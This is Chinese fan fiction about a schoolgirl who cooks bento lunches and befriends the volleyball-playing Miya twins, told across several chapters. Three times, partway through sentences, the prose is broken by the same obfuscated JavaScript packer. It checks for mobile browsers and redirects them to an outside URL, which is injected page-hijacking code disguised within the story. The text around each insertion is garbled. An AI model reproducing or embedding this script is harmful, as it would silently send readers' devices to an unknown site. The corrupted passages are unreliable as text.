南见月已经很久没有吃到他做的饭了。 印象中最后一次和父母吃饭,照例依旧是父亲下的厨。 只是他工作繁忙,备菜都是请家里的阿姨完成,自己则踩着饭点行色匆匆地赶回来烹饪。 母亲只是坐在餐桌旁安静地等着,并没有像南见月小时候一样,去还不宽敞的厨房笑着看父亲处理食材。 那或许就是征兆。 在吃完那最后一次的晚饭之后,母亲平静地提出了离婚。 父亲的眼泪没能让她动摇,母亲只是对着一直沉默的南见月说着抱歉。 他们正式离婚之后,母亲买好了机票,却在走之前抱着南见月落下了眼泪。 她的表情是南见月从未见过的悲伤失落,说让她真正下定决心的就是父亲为她们做的最后那一次晚饭。 【我已经无法从他做的饭菜里尝出幸福的味道了。】 这是一个非常主观、非常抽象的回答。 仔细想来,那一次晚饭的菜色都是母亲喜欢的,食材都是阿姨一大早精挑细选的新鲜食材,餐饮世家出身的父亲掌勺,调味也应该是无可挑剔才对。 但是这不仅没能让母亲解开心结,而是成为了她下定决心离开的最后一根稻草。 或许这又是好事。 只是南见月很难过。 她曾在某些时刻生出过一些阴暗的想法。 要是父亲的生意一直保持着她小时候那样不温不火的状态就好了;要是母亲能够不再对父亲抱有期待,而是在她们大大的新房子里安心地花着父亲赚来的许多钱就好了…… 可是仅仅凭借她的想法,要怎么样去左右两个成年人的决定呢? 故事的结局不是圆满的,却是他们想要的。 父亲实现梦想,事业蒸蒸日上。 母亲放弃婚姻,重新找回自我。 父亲和母亲是真的相爱过,他们也是真的很爱她。 她不再希望父母重归于好,只是希望他们能够长命百岁,身体健康。 南见月理解一切,只是她仍然怀念小时候那个并不富裕,却永远充满欢声笑语和幸福味道的家。 看着拆开的礼物,她将思绪和回忆都细细整理好,写进了日记。 母亲的礼物是一款很贵的限量版耳机和她手织的围巾,将耳机收进抽屉,围巾也细细折叠好裹上防尘袋放进衣柜。 手机抖动,是今天刚加上的宫治发来了信息。 【布丁和上次的一样好吃!】 【另,南同学的饭盒,我明天会带到学校还给你。】 饭盒? 南见月想了想,才想起他说的应该是捡画的那天和布丁一起给他的饭盒。 祖母叫她出去吃完饭,南见月一边回答一边敲下回复的信息。 【你喜欢就好,那个饭盒卡扣那里裂掉了,我本来也打算直接扔掉的,麻烦宫同学你丢掉就好了。】 那个饭盒在那边出去写生的时候不小心从包里掉了出来,万幸地是只是磕出了一个裂缝并没有当场牺牲,但南见月还是决定丢掉。 南见月喜欢完美的东西。 而且如果这个饭盒退下了,她就有理由说服自己买新的饭盒了。 今天的晚餐是南见月的祖父,南拓一郎做的。 他年纪大了,带出来的徒弟们也都出师了,早就从一线退了下来,只负责管理和开发新菜。 不过因为南见月喜欢,南拓一郎坚决要为她做每天的晚餐。 一开始刚到兵库的时候南见月还会担心如果和祖父母们处不来要怎么办,不过待了一个月左右就已经完全适应了。 祖母南由纪子和南拓一郎都是说一不二的性格,但却非常疼爱从小不在他身边长大的南见月。 他们是亲自和司机一起去东京接的南见月。 两位鬓发已经开始斑白的老人,在准备出发的清晨拉住她的手,口齿不清、别别扭扭地用中文对她说出了欢迎和思念。 直到南拓一郎咬到了舌头…… 好了,该吃饭了。 今天做的是乌冬面。 面是南拓一郎自己手工做的,高汤只用了鱼干、昆布和木鱼花炖煮,汤色清亮,清淡宜人。 煮熟的乌冬面被倒入碗中,南拓一郎神情专注,将煮熟的配菜放入碗中排列整齐。 茼蒿仍然保持着青翠的颜色,香菇改好十字花刀在汤水中浮沉,胡萝卜片颜色鲜艳,再配上按照南见月的口味煎得外表焦脆内里留心的鸡蛋。 旁边还放了一小份茶碗蒸,红红和虾仁和绿色的秋葵被蛋液包围,经过蒸制后凝结成滑嫩的固体,上面还滴了几滴酱油用来调味。 面条入口劲道却又软糯顺滑,淀粉被唾液淀粉酶分解后慢慢释放甜味,和清香的面汤、爽脆的蔬菜搭配在一起,是非常朴实舒适的美味。 南由纪子笑着看她慢悠悠地吃着面条,道:“小月明天要带便当吗?” 南见月有些犹豫,她在东京上学的时候带过便当,也吃过赤苇京治给她做的便当。 但一上午的课结束后,尽心准备的菜肴和米饭要么凉的透透的,要么只是略带着一点余温,实在让人提不起胃口。 赤苇京治曾经为此异常烦恼,后来便总是在午休时间准备一些三明治或者甜点心给她垫肚子,再等到下课之后部活之前带她出去吃。 杜中学和补习班附近的小店,哪家的拉面是手工现拉的,哪家天妇罗最酥脆,哪家的咖喱饭量大管饱……南见月到现在也还记得一清二楚。 只是来了兵库之后,不说新认识的朋友们都有部活或者补习班,就是关系还没有能好到拉着对方在大街上闲逛的程度。 两个人一起才叫吃饭,一个人顶多叫进食。 南由纪子看着南见月纠结的表情忍不住笑了出来,她作出一副神秘的样子,等到南见月的注意力被吸引了过来,才从身后变魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246708|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术一般拿出了一个包装好的礼物。 南拓一郎也突然出现,揽着由纪子的肩膀笑着道:“这是我们给小月准备的入学礼物!” 由纪子把礼物盒递给南见月,有些遗憾地道:“原本想早点给你的,但是这个得预定,所以今天早上才送到,快拆开看看吧!” 南见月拆开包装,看见了里面和同学们所使用的单薄小饭盒格格不入的三层加厚保温饭盒,她呆了呆。 如果说同学们的饭盒是小哈基米,那这个饭盒就是哥斯拉大怪兽,南见月似有所感,提起饭盒看了看。 【Made in China】 那就不奇怪了。 “为什么入学礼物是饭盒啊?” 南拓一郎摸了摸胡子,道:“我特意打电话问了阿正,他给我推荐的这个,他说你肯定会喜欢的。” 阿正就是南见月的父亲,南见月想起来到兵库了好像还没打过电话过去,不知道人现在又在哪个国家谈项目。 礼物盒里还有一个不算起眼的小盒子,见到南见月拿起来,南由纪子便笑着道拉住她的手:“这是我给小月的,希望你能喜欢。” 南拓一郎一脸被背叛的表情,鼓着脸颊看着由纪子,不开心地很明显,“奶奶真过分,居然自己偷偷准备单独的礼物!” 盒子很小,南见月还以为会是耳钉之类的小饰品,但由纪子轻轻打开盒盖,一抹晃人的水色闪着温润的光挣脱束缚,映入南见月眼底。 那是一枚平安扣。 南拓一郎的脸色柔和下来,他揽住由纪子的肩膀,道:“原本这枚平安扣应该在你出生的时候戴上的,我们也的确决定好了行程,但那时候因为一些原因,我做了场手术,修养了大半年,和你父亲也断了联系……” 由纪子推了推他的胳膊,有些不满地道:“别提这些了……” 她又看着南见月,道:“总之,虽然没想到还能有机会和小月一起生活,简直像是做梦一样幸运。” 南见月先是呆愣,又无奈地笑了笑,道:“那,以后也请多多关照了。” —— 这个漂洋过海到来的饭盒确实一定程度上解决了南见月的午餐问题,但南拓一郎只给她做了一周的午餐就被叫停了。 理由自然是他每天都致力于将三层装的饭盒都填满,满满当当的不留一丝空隙。 每次南见月想要提出异议,南拓一郎就用一种“自己年纪大了没用了”的落寞表情看着她。 不过周末的家庭医生来为他做上门检查的时候无奈恶魔低语,腰椎痛了好几天为什么现在才让他来…… 每天都天一亮就出门去买菜,还固执地不愿意麻烦别人接送、固定在厨房耗费约两小时的南拓一郎低头垂眼,在家中两位气势凛冽的女士的注目之下,头也不抬地假装很忙。 虽然南拓一郎不做便当了,但南见月决定自己做便当。 理由也很简单,当然是因为国内的好朋友给她寄来了一个乱七八糟的大包裹。 南见月这个“百宝箱”里掏出了一整件家庭装调味用品,甚至还有她妈妈做的辣椒酱。 这很好了。 又到一天上学时分,南见月按掉第五个闹钟,终于睁开了眼睛。 收到调料的当晚,南见月紧急列出了当周的午餐便当菜谱。 今天是第一天。 好在是九点上课。 那就算再睡十分钟应该也来得及做好便当又不迟到的吧…… 5. 椒麻鸡丝荞麦面 睡过了。 但没迟到。 南见月习惯在上课前五分钟到教室,让她有充足的时间放空自己,等到终于适应来到教室这一事实之后,才开始一天的课程。 所以踩着点进教室的南见月心情有些不美妙,尤其是这是一周的第一天,计划被打乱的感觉很不爽,偏偏罪魁祸首还是自己。 南见月觉得不能对自己生气,于是她将苦大仇深的目光望向黑板。 她身上的低气压太过明显,连坐在她后面,早训回来应该开始昏昏欲睡的宫侑都察觉到了。 他觉得有趣,用笔戳了戳南见月的肩膀。 本来就烦,今天第一节还是她最讨厌的语文,更是烦上加烦。 本来她还觉得宫侑上课时一些不影响到别人的小动作还挺可爱的,但今天心情不好,南见月的厌人症无差别开启。 宫侑戳她的第一下,南见月没理,于是宫侑不甘心地戳了第二下。 南见月岌岌可危的耐心终于告破,心情值已经下跌到“不高兴”的阈值。 趁着老师转过身体在黑板上板书的间隙,南见月转过身,瞪了宫侑一眼。 宫侑先是一惊,随即又觉得好笑。 他自然看得出南见月今天是不高兴了,又因为他凑上去,所以便把不开心的情绪朝他宣泄了一些。 可是—— 她瞪着他的时候,那双琥珀色的眼睛里映着他一个人,眉毛也拧着,像果冻一样的嘴唇也不自觉抿起,实在漂亮又鲜活的惊人。 虽然这样说很不礼貌,但宫侑总是觉得她平日里温和又平静的表面就像是繁重的面具,禁锢住了许多真实的情绪。 而这样在他面前展露的、如此外露的情绪让他心里产生了一种隐秘的欢喜。 原来她会生气嘛,而且是对他生气。 好可爱。 南见月不知道宫侑的抖m想法,就算知道她也只会冷笑一声觉得【果然是宫侑】。 一上午的课程结束,南见月摸了摸饿饿的肚子,想起便当,她又叹了口气。 避开某个烦人的家伙,南见月带着三层的大饭盒来到教学楼废弃的杂物间旁。 她一早便观察过,这里人迹罕至,也好清理。所以南见月花费了一个午休的时间将杂物间前方的这一小片空地清理了出来,借着一旁这棵高大的樱花树作为荫蔽,“搭建”起了不被其他人所打扰了一片单人场所。 因为桌角被磨损和椅子脚短一截被废弃的桌椅被南见月简单的维修了下,高低不平的椅子腿用小花盆装了点沙子垫了起来。桌子立的稳稳当当,上面摆放着被打开的三层饭盒。 第一个盒子里装的是色彩鲜艳的水果。 南见月原本是不打算带水果的,因为觉得很麻烦,但由纪子不由分说地给她装上了。 橙子被切成块摆成了花瓣的形状,草莓被摘去草莓蒂,洗得干干净净地堆叠,里面还点缀着几颗蓝莓作为点缀。 水果是饭后吃的,但被摆放在饭盒的第一层,色彩鲜艳地轻易便勾起食欲。 按照菜单,南见月原本今天准备做咖喱的,但因为时间不够,她只能放弃,站在厨房左顾右盼冥思苦想时,发现了昨天送来的荞麦面条。 算了,椒麻鸡丝荞麦面也不错。 南见月将盛着水果的盒子取下来放在桌子的一边。 将准备好的配料倒入荞麦面里,又把酱汁倒进去,简单拌一拌就好了。 荞麦面煮好又过了凉水,保持长时间不沾粘的秘诀就是稍微喷点油,所以即便是到现在才吃也依旧保持着根根分明的状态。 其实配菜有很多选择,但南见月为了省时省力,选择的是黄瓜和生菜,这些都不用加热的食材只需要简简单单的切成丝,拌进面里,就能够最大限度地凭借自己清脆的口感让人青睐。 酱汁的做法也很简单,蒜末、白芝麻和一小点辣椒面泼上热油,再按照自己的口味加酱油、藤椒油、蚝油、醋。想起朋友寄过来的东西,南见月还挖了一小勺辣椒酱放进去。 荞麦面与酱汁拌匀之后,面条闪着润香油亮的光,青翠的黄瓜丝和生菜丝也更加晶莹。 早上只是随便吃了个小面包的南见月摸了摸瘪瘪的肚子,饿了。 还差最后一样。 “啪嗒”一声,南见月轻巧地打开了易拉罐,里面发出气泡破裂的清脆声响。 没错,就是在教室楼下的自动贩卖机里买的柠檬口味气泡水。 准备就绪,甚至南见月已经夹起了一筷子面条,但是墙边的灌木丛里却传来了窸窸窣窣的声响。 是猫是狗……还是春天出来觅食的蛇虫鼠蚁? 南见月放下筷子,带着被打扰午餐的不高兴望向声响传出的方向。 直到看到一个灰色的发顶。 隔着一人高的灌木丛,宫治脸上还带着尚未消散的怒色,看向了坐在不远处的南见月。 —— “所以你的意思是……宫侑把你的便当打翻了拒不认罪,你把他揍了一顿之后出来找吃的,然后闻到了一股很好闻的味道,所以就顺着味道到了这里?” 宫治尴尬地点了点头。 南见月有些无语,她上下打量了一下面前的宫治,鼻子比狗还灵,力气比牛还大,性格也像猫一样充满好奇心。 “咕——” 南见月的视线看向宫治发出声音的腹部,对方似乎有些不好意思,挠了挠后脑勺,依旧躲避着她的视线。 他也看见了南见月桌前打开的便当盒,自然也知道了这位布丁做的很好吃的同学正准备在这个无人打扰的僻静之地享受午餐。 料想南见月应该不太想被人打扰,所以宫治让自己的目光强行从她和她的食物上移开,开始告辞。 “那……那我先走了。” 南见月觉得他此时准备落荒而逃的样子很可爱,她叫住宫治。 指了指桌上很大一份的荞麦面,道:“要吃吗,可以分你一半。” 宫治转过头,视线里是她露出了浅淡笑意的脸,莹润修长的指尖,还有那份在阳光下显得十分诱人的午餐。 他吞了吞口水,因为腹中空空,又看见了美味的事物,饥饿感像是一只看不见的手,推着他往前迈了第一步。 直到坐在了南见月的对面,屁股下的另外一把没有经过维修的椅子摇摇晃晃,让他坐的小心翼翼,就连动作和语气都带上了慎重,看到南见月拿出另外一个空饭盒给他分面条,宫治后知后觉地露出几分尴尬和不适应。 “南同学……” “嗯?” 南见月用筷子把油润的面条挑了一半到原本用来装配菜的饭盒里,闻言抬起头看向对面的宫治,手上的动作却没停。 应该是为了方便进食,她把一头长发扎成了麻花辫,发尾用一条浅蓝色的手帕系紧垂在胸前。 分享食物这件事,对于只是同校不同班的同学关系的他们两个来说,是不是有些太过亲密? 可是她的态度自然到像是他们原本就是关系很好的朋友。 宫治甚至有些不解,为什么他们已经是能够分享午餐的关系了。 “吃吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246709|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南见月把一盒拌面放在了正在沉思的宫治面前,又把那盒水果放在了两人面对面的中间。 自然流畅的动作甚至让宫治感觉自己像是回到家里吃饭的感觉,他也顺手往自己的右手边准备拿餐具。 意料之外地抓了个空。 那边已经拿起筷子的南见月笑了笑,她面上勾起一个看似遗憾却藏不住些许狡黠的微笑,“啊啦,治?我只有一双筷子诶。” 因为是双胞胎,在稻荷崎又很有名气,为了区分他们,很多同学都是直接叫的名字,南见月也就这样叫了。 宫治的耳尖在他没发觉的时候已经变得微红,听着自己的名字从她口中轻巧的发出音节,他觉得自己的脸侧也开始隐隐发热。 他不发一言,端起饭盒,看样子是想直接把面条倒进嘴里。 南见月制止了他,略带无奈地把勺子递给他。 男生红着脸接过,闷闷地说了声谢谢。 把面条塞进嘴里之前,宫治忍不住想,如果这时候来的是没有吃饭的侑,又或者是其他人,她也会这样和那个人面对面的坐在一起分享食物吗? 第一口面条入口,宫治睁大眼睛。 好吃! 复杂的口味,微酸微咸微辣微麻,每一个味道都不会过分出挑,和谐的融在一起,黄瓜丝和生菜丝保持着爽脆的口感,荞麦面条爽滑劲道,鸡胸肉丝满足了蛋白质的需求。 口感丰富,营养充足,几乎是立刻—— 宫治就抛却了自己满脑袋奇奇怪怪的想法,抱着要认真对待事物的想法用勺子进食。 南见月没急着吃,她仔细观察着宫治。 他吃饭的时候很专注,每吃一口都会认真品味。眉毛舒展,眼睛下垂成无害的弧度,让南见月觉得……好有趣。 他和宫侑是命运交织、不可分割的双生子,嗯……其实大多数人都会首先看到性格更加张扬的宫侑吧。 但即便不看发色,他和身为自己后桌的宫侑,也有很多不一样的地方。 看见布丁的时候眼睛里会出现很亮很亮的光芒,会因为她说要和他分享午餐就这样愣愣地走过来,让他坐下吃饭、拿着勺子吃面条,即便是有些不适应也一一照做,乖巧又听话。 南见月看着他的表情,自己也开始吃饭。 他们俩一边吃饭一边有一搭没一搭的聊天。 宫治说宫侑今天不知道为什么很急躁,似乎是没找到什么东西。毛手毛脚地把他的便当打翻了还不认错,狡辩说是因为阿治最近长胖了,所以一顿不吃午饭当减肥了也没关系。 宫治说今天的午餐是宫妈妈做的他最喜欢吃的饭团,所以他非常生气地给了阿侑一拳。 宫治说他到了部活的时候要去给某位前辈告状,回家也要跟爸爸妈妈说宫侑的恶行。 宫治还说…… 南见月认真地听,她明明可以用许多高中男生所喜欢的话题去与他进行热烈的讨论,但她没有。 宫治会因为很多的小事感到幸福,和兄弟打闹,吃妈妈做的便当,有可以告状和信赖的前辈…… 她与他分享食物,这件事情本身和这份食物,或许也能让今天的宫治,又幸福了一小点。 南见月用水果盒里的小叉子吃了一块草莓,鲜甜的草莓汁水带着浓郁的甜香因为唇齿的挤压迸发出来,橙子也一点不酸。 她的祖母由纪子,有自己专属的一套挑选甜味水果的方法,也会认认真真的清洗、切块、装盘,直到变成南见月中午打开饭盒的惊喜。 今天的南见月,幸福指数也悄悄上涨了一点。 6. 柠檬糖 吃完饭,宫治非常自觉地把便当盒拿去洗了,南见月就坐在原地,也没有客套地拒绝,就这样看着宫治背对着她洗碗的动作。 看得出果然是特招的体育特长生,即便还穿着校服的白衬衫,也能因为热烈的阳光看到少年身体的美好线条。 因为洗着碗而微微躬下身时吐出的脊骨,藏在袖子里的上臂肌肉,露出的结实小臂,还有那张池面脸。 不过南见月比较喜欢看他吃饭的样子,他津津有味的样子,也让她觉得食欲大开。 午休时间结束,南见月接过宫治清洗干净又用餐布包好的饭盒,与他道别之后回了教室。 几乎是她一进教室,一脸气呼呼的宫侑就看了过来。 南见月刚在自己的位置坐下,他就走到了前面桃濑雪菜的位置坐了下来,转过身体看着她。 他有些不高兴,细看还能看出一丝委屈,“你跑哪里去了,我刚刚找了你好久。” 南见月吃饱了饭,看见这张与刚刚见过的宫治如出一辙的帅脸,心情好了许多,语气也就不再敷衍,“我去吃午餐了,你吃了吗?” 宫侑虽然不太在意别人的感受,但他却绝不是察觉不到别人情绪的人,相反,他对此非常敏锐。 察觉到南见月的心情比早上好了很多,宫侑也开始得寸进尺起来。 挪了挪屁股下的凳子,宫侑趴在了南见月的桌子上,用那双亮亮的栗棕色眼睛往上看她。 他长得好看,校服也不好好穿,红色的领带松松的系着,衬衫的领口散开,说话的时候能看见明显的喉结滚动,“你今天早上,绝对是迁怒我了对吧。” 关西人讲话都这样的吗?语气幽怨,腔调却黏黏糊糊。 南见月觉得不闹腾得太过分的金毛狐狸实在是有些惹人喜欢的可爱,她笑了笑,轻轻地用铅笔的橡皮部分戳了戳他放在自己桌子上的手背,道:“怎么,要我跟你说对不起?” 宫侑看着铅笔在她纤长的指尖转动,他清楚地听见自己胸腔里的心脏加快跳动的声音,他呆呆的摇了摇头。 “不是的,我是……” 他剩余的声音被上课的预备铃声遮盖,“……想让你不要不理我。” 桃濑雪菜急匆匆地冲进来,却看见自己的座位上坐了一只呆头呆脑的同班同学。 南见月抬了抬下巴,“好了,回自己的座位去,要上课了。” “……哦。” 不知道她听没听到啊。 回到了自己的座位的宫侑抓了抓自己的金发,他感觉到了自己的心脏变得沉甸甸的,像是有什么东西在逐渐生长。 下午第二节是体育课,换好体操服之后,大家一起来到了体育馆。 排球界最强双胞胎。 这个称呼的确不是吹出来的,在这节体育课上,南见月就亲眼见识到了宫氏兄弟的厉害。 他们两个因为外貌过于相似,又总是就读同一个学校,所以在分班时都会被刻意分开。但巧合的事也发生了,南见月和宫侑所在的1班和宫治所在的5班,上的是同一节体育课。 上周的第一节体育课是基本的体能测试和准备环节,这是高中的第二节体育课,两位体育老师分别宣布了这一个月的课程内容。 两个班混在一起,又被按照性别重新分组。 排球课。 南见月用手把刘海往上梳,再用黑色一字夹夹住,听到老师讲解排球规则的时候叹了口气,“难怪要把男女生分开呢。” 女排还可以玩玩战术,男排直接就是鲨人排球了吧。 桃濑雪菜扯了扯南见月运动服的袖子,道:“小南会打排球吗,我只是勉强清楚排球的规则而已。” 南见月顿了一下,迟疑地道:“只能说算是会打。” 一年前她还是个门外汉,即便之前在东京的时候学了点,到了现在的程度也只是非常业余而已。 因为老师觉得口头讲解规则不太直观,又是第一节排球课,干脆揪了几个会打排球的学生上去打练习赛。 有男有女,不过基本都是些高个子。 宫双子赫然在列。 几乎是他们一上场,就小小的引起了一阵骚动。 比赛还没开始,南见月已经听了许多旁边同学的小声议论了。 野狐中学毕业,排球部特招,一进队里就成为了正选队员。排球场上亮眼的双子星,宫侑还在全国中学综合体育大赛中获得过最佳发球手奖,宫治更是面板惊人的六边形战士…… 南见月撑着下巴看着场内。 汗水划过皮肤,因为运动而产生在脸颊上的红晕。 飞扬的发丝、跳跃下落时衣服下摆缝隙里露出的一截劲瘦的腰,手臂和大腿绷紧时的肌肉形状。 还有为了得到更多氧气而变得急促的呼吸。 她其实还蛮喜欢看排球比赛的。 不说其他的,正值青春的男生和女生们运动起来的样子的确是养眼的。 这节体育课非常轻松,练习赛结束之后也只是自由活动,非必要不运动的南见月更是坐在角落,连汗都没有出。 桃濑雪菜和南见月一起去活动室换回校服,她忍不住感叹道:“第一次这么近距离看到排球比赛,果然很帅呢!” 旁边同班的小山同学也忍不住捧着脸赞同道:“对吧!话说二传手真是个帅气的位置呢!” 桃濑雪菜也认同道:“对啊,网的两边居然有两张一模一样的帅脸啊,不过果然小山你还是比较喜欢宫侑那个类型的吗?” 她们俩聊着聊着,突然看向这边。 面对两双水灵灵的眼睛一眨不眨地看着自己,正在系着扣子的南见月默默地拢好衣襟,试探性地问道:“怎么了吗?” 两个女孩子对视一眼,一人挽了一边她的胳膊,一起聊着天走出了活动室。 桃濑雪菜道:“小南觉得哪个位置最帅啊?” 南见月想了一会,疑惑地道:“这应该是看人吧,场上的每一个位置都很帅。” “不过,我喜欢治同学扣球的样子。” 桃濑雪菜戳了戳南见月的脸颊,用拉长的声音起哄道:“哦——原来小南喜欢宫治同学那种吗?” 南见月无奈,“我们不只是在说位置吗,我的意思是我更喜欢主攻手,王牌队员诶。” “反正没有否认宫治同学也很帅气吧。” 小山同学嘿嘿笑,道:“隔壁班的村尾同学也很棒呢,听说也是女排部特招的二传手!那个……那个二传球好棒!” 桃濑无语道;“明明是二次球啦。” 她们手挽着手回了教室,没有发现走廊转角耳朵都红透了的灰发男生。 他下意识握紧手中的柠檬气泡水,直到易拉罐因为不堪重负被捏变了形才反应过来,但耳朵尖上的绯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246710|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色却一直没有消去。 —— 进了教室的南见月在自己桌上发现了一罐柠檬糖。 她想起站在走廊转角处的宫治,是某只蹭了饭的狐狸送来的谢礼吗? 并不饿,但补充一下糖分也没问题。 打开盖子,南见月吃了一颗,还分了几颗给正在跟她说话的桃濑雪菜。 “诶?小南你什么时候去买的糖啊,怎么不叫我。” 她含着糖,声音有些含糊不清,南见月正准备说话,老师和上课铃声却接踵而至。 最后一节课是英语,比起需要认真倾听的语文和日本史,忍受老师们的日式发音就显得不那么难熬了。 但是,南见月还是面无表情。 无它,上一节体育课虽然是排球表演赛,但总又想要表现自己的男生在练习赛之后急于展现自己的魅力,结果就是出了一身臭汗,赶着上课铃匆匆换好校服回来教室上课。 窗户也不知道被谁关上了,今天天气又好,换言之就是非常热。 气温和二氧化碳含量都同步上升,往日里觉得还算宽敞的教室里,隐隐从旁边传来一股闷闷的汗味。 所以为什么要把体育课排在下午第一节课,又热,时间又赶。 不过这也是没办法避免的问题。 后座的宫侑却有些出乎南见月的意料,原以为打了一节课排球的家伙会是个更难闻的家伙,但他似乎非常注意这方面,即便是运动完身上也只有一股清新的柠檬马鞭草的味道。 是止汗露吗? 哪个牌子? Deonatulle?还是SEA BREEZE?还是说是其他的。 口腔里的柠檬硬糖酸酸的,在舌尖绽放出清凉的夏天气息。 味道不错,她还蛮喜欢柠檬味的。 南见月一心二用,一边发散着思维,一边在草稿纸上飞速演算着题目,把习题写完,就不用带回家了。 今天晚上吃什么呢? “南?南同学,麻烦你起来读一下这段课文。” 南见月手一抖,咬碎了齿间逐渐变小的糖块,发出清脆的声音。 前排也含着糖的桃濑雪菜心领神会,侧了侧身体指了指自己面前课本上的第二段。 收到。 英语老师是个上了年纪的近视眼,他推了推眼镜,看着缓缓站起身的南见月。 翻开课本,南见月看了看,没理身后似乎在偷笑的宫侑,开始朗读。 “Write basic expressions such as……” 她并不是很擅长英语,虽然有些发音不算标准,但胜在足够流畅自然。朗读结束,老师夸了她几句让她坐下之后就开始继续上课。 刚坐下,肩膀又被戳了一下,南见月扯了扯嘴角,转头看见了一只从课桌边伸过来的手。 他勾了勾手指,讨要的意思很明显。 南见月无语,拿出糖罐,倒了两颗在他掌心里。 她面无表情地挺直身体,把数学练习用英语书压好开始认真听课。 老师在板书,教室很安静,某些声音也变得清晰。 身后传来宫侑撕开糖纸的细碎声音、糖块和牙齿碰撞的声音,还有他压低的笑声。 看来他很喜欢? 也对,反正是他的兄弟买的,两兄弟的口味相近也很正常吧。 7.鸡肉咖喱 南见月又开始觉得宫侑烦人了,因为他今天总是在游说她去排球部当经理。 可是回家部多快乐。不用担心出勤,不用担心人际关系,也不用去为自己明明不热爱的事努力。 况且听说体育社团的经理工作繁杂又累人,她虽然对做出此种选择的那一类人心有敬意,却不代表她愿意自己去做这些事。 可是今天宫侑总是紧紧地盯着她,南见月想要溜走的想法似乎也被他洞察。 午休时间,南见月准备出去吃午餐,早就盯着她的宫侑拦住人,“等等我等等我,我有事和你说啦。” “宫——” 讲台上还没走的英语老师扶了扶眼镜,道:“你跟我来一下办公室,我们聊聊你的练习,非常惨重啊。” 趁着宫侑转头和老师狡辩的大好时机,南见月迅速地溜出了教室。 路过体育馆外,她提着有些沉重的饭盒在新上的自动贩卖机前犹豫了一下,移开对巧克力口味的脆筒雪糕恋恋不舍的目光,买了一罐桃濑雪菜推荐的桃子味气泡水。 南见月平等的喜欢任何巧克力制品,而现在,巧克力口味的脆筒雪糕无疑是最让人心动的选择。 但生理期快到了,不想痛到在床上打滚的南见月还是放弃了。 桃子汽水应该也很好……不! 不适合。 不可以。 不行。 已经走到自己秘密基地的南见月一脸凝重地放下手里的饭盒和买好的气泡水,经过激烈的思想斗争,灵魂的渴望还是冲破了理智的枷锁。 她还是决定屈服于自己内心的欲望,穿过走廊,来到自动贩卖机前站定。 今天的天气其实不算热,虽然三个自动贩卖机里已经装上了各式各样的脆筒雪糕、棒冰和饮料,但驻足的人还是很少。 在南见月犹豫买黑巧口味还是薄荷巧克力口味的这期间,也只有旁边另一个高个男生走了过来,他的目的似乎很明确,已经开始往南见月旁边的贩卖机里投币了。 决定好今天吃黑巧口味的南见月投币时分出余光看了旁边一眼。 那个男生面前的自动贩卖机里陈列着各种口味的饮料棒,看起来五颜六色的。 她的目光转回自己拿到的雪糕,犹豫了一下决定在这里吃掉。毕竟这里设有校内难得一见的垃圾桶。 因为担心沾到手指,南见月小心地撕开包装,满意地看着洒满巧克力碎、还带着白色冰霜的雪糕。 可能是因为刚刚开始贩售,自动贩卖机里的温度并没有把控好,雪糕冻的硬邦邦的,咬了一口之后,过大的温差让她被冰得脸都皱了起来。 旁边传来一道压低的轻笑声,声音极轻,几乎像是南见月的错觉。 不管是不是在笑她,南见月拉平嘴角收拾好表情,捧着雪糕走了。 那个男生很高,南见月没抬头看他的脸,只在经过的时候看到了他手里拿着的饮料棒。 去吃午饭。 慢慢地咬着冰凉香甜的雪糕,南见月再次回到枝叶和灌木丛掩映着的午餐场所。 “诶?你……” 南见月疑惑地看着宫治,他听到声音转过了身,被他的身体挡住的餐桌和一个小小的灰毛团也显露出来。 那是一只小鸟,并不怕人,即便是感受到的南见月的注视也没有离开,反而扑闪着翅膀继续啄着南见月放在桌子上的便当袋。 南见月不喜欢用便当布包便当,觉得既麻烦又不实用,所以一直都是用的便当袋,此时便当袋的一侧已经出现了几个并不明显的被啄凹的小印子。 南见月眉毛一挑,拿着雪糕走过来。 或许是因为两道阴影的逼近,那只小鸟似乎终于察觉到眼前这两个庞然大物的威胁性,它踮着细细的脚丫往后退了几步,抖抖翅膀,却依旧没飞走。 呆呆笨笨的傻鸟。 南见月看着小鸟,宫治和小鸟一起看着她。 “咔嚓。” 南见月咬到了外面的脆筒,轻微的声音终于成了这只小鸟作出离开决定的最后一根稻草。 它左右扭头,还是飞走了,翅膀和羽毛被樱树上即将落尽的花瓣和绿色枝叶匿住,花叶晃眼,一瞬之间就再难觅其踪迹。 南见月咬着雪糕回头,看着宫治和他手中提着的便利店塑料袋。 “治同学,你要吃午饭吗?” 宫治点了点头,甚至还拉开塑料袋给她看了看,里面放着好几个饭团。 “嗯,是便利店的明太子饭团,还有酸梅的,这个金枪鱼的也很好吃……” 